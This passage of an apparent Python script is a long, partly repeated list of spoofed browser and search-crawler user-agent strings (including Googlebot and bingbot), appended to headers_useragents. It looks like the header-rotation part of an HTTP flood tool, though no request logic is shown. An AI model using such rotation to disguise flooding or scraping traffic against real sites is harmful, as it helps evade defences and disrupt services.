  213.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  214.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
  215.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  216.     headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
  217.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)')
  218.     headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)')
  219.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)')
  220.     headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10')
  221.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
  222.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0')
  223.     headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10')
  224.     headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)')
  225.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)')
  226.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
  227.     headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)')
  228.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
  229.     headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  230.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
  231.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  232.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)')
  233.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
  234.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
  235.     headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
  236.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
  237.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
  238.     headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  239.     headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
  240.     headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10')
  241.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)')
  242.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007')
  243.     headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')
  244.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)')
  245.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)')
  246.     headers_useragents.append('Googlebot/2.1 (http://www.googlebot.com/bot.html)')
  247.     headers_useragents.append('Opera/9.20 (Windows NT 6.0; U; en)')
  248.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)')
  249.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)')
  250.     headers_useragents.append('Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0')
  251.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16')
  252.     headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)')
  253.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13')
  254.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)')
  255.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)')
  256.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)')
  257.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)')
  258.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)')
  259.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8')
  260.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7')
  261.     headers_useragents.append('Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)')
  262.     headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)')
  263.     headers_useragents.append('YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)')
  264.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  265.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  266.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  267.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  268.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  269.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  270.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  271.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  272.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
  273.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  274.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
  275.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  276.     headers_useragents.append('AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)')
  277.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)')
  278.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)')
  279.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  280.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)')
  281.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  282.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  283.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  284.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  285.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  286.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
  287.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
  288.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  289.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  290.     headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15')
  291.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
  292.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  293.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  294.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  295.     headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
  296.     headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')
  297.     headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)')
  298.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
  299.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
  300.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  301.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
  302.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  303.     headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
  304.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)')
  305.     headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)')
  306.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)')
  307.     headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10')
  308.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
  309.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0')
  310.     headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10')
  311.     headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)')
  312.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)')
  313.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
  314.     headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)')
  315.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
  316.     headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  317.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
  318.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  319.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)')
  320.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
  321.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
  322.     headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
  323.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
  324.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
  325.     headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  326.     headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
  327.     headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10')
  328.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)')
  329.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007')
  330.     headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')
  331.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  332.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  333.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  334.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
  335.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
  336.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  337.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  338.     headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15')
  339.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
  340.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  341.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  342.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  343.     headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
  344.     headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')
  345.     headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)')
  346.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
  347.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
  348.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  349.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
  350.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  351.     headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
  352.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)')
  353.     headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)')
  354.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)')
  355.     headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10')
  356.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
  357.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0')
  358.     headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10')
  359.     headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)')
  360.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)')
  361.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
  362.     headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)')
  363.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
  364.     headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  365.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
  366.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  367.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)')
  368.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
  369.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
  370.     headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
  371.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
  372.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
  373.     headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  374.     headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
  375.     headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10')
  376.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)')
  377.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007')
  378.     headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')
  379.     headers_useragents.append('Mozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/webcrawler.html) Gecko/2008032620')
  380.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) AddSugarSpiderBot www.idealobserver.com')
  381.     headers_useragents.append('Mozilla/5.0 (compatible; AnyApexBot/1.0; +http://www.anyapex.com/bot.html)')
  382.     headers_useragents.append('Mozilla/4.0 (compatible; Arachmo)')
  383.     headers_useragents.append('Mozilla/4.0 (compatible; B-l-i-t-z-B-O-T)')
  384.     headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)')
  385.     headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)')
  386.     headers_useragents.append('Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)')
  387.     headers_useragents.append('BillyBobBot/1.0 (+http://www.billybobbot.com/crawler/)')
  388.     headers_useragents.append('Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)')
  389.     headers_useragents.append('Sqworm/2.9.85-BETA (beta_release; 20011115-775; i686-pc-linux-gnu)')
  390.     headers_useragents.append('Mozilla/5.0 (compatible; YandexImages/3.0; +http://yandex.com/bots)')
  391.     headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)')
  392.     headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )')
  393.     headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )')
  394.     headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)')
  395.     headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.dlc@looksmart.net; http://www.WISEnutbot.com)')
  396.     headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 (wn-16.zyborg@looksmart.net; http://www.WISEnutbot.com)')
  397.     headers_useragents.append('Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko)')
  398.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser 1.98.744; .NET CLR 3.5.30729)')
  399.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; Acoo Browser; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Avant Browser)')
  400.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser; GTB6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)')
  401.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Acoo Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)')
  402.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/419 (KHTML, like Gecko, Safari/419.3) Cheshire/1.0.ALPHA')
  403.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) ChromePlus/4.0.222.3 Chrome/4.0.222.3 Safari/532.2')
  404.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 ChromePlus/1.5.1.1')
  405.     headers_useragents.append('Links (2.7; Linux 3.7.9-2-ARCH x86_64; GNU C 4.7.1; text)')
  406.     headers_useragents.append('Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A')
  407.     headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 3.55)')
  408.     headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 2.00)')
  409.     headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 1.00)')
  410.     headers_useragents.append('Mozilla/5.0 (Windows NT 6.3; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.4.0')
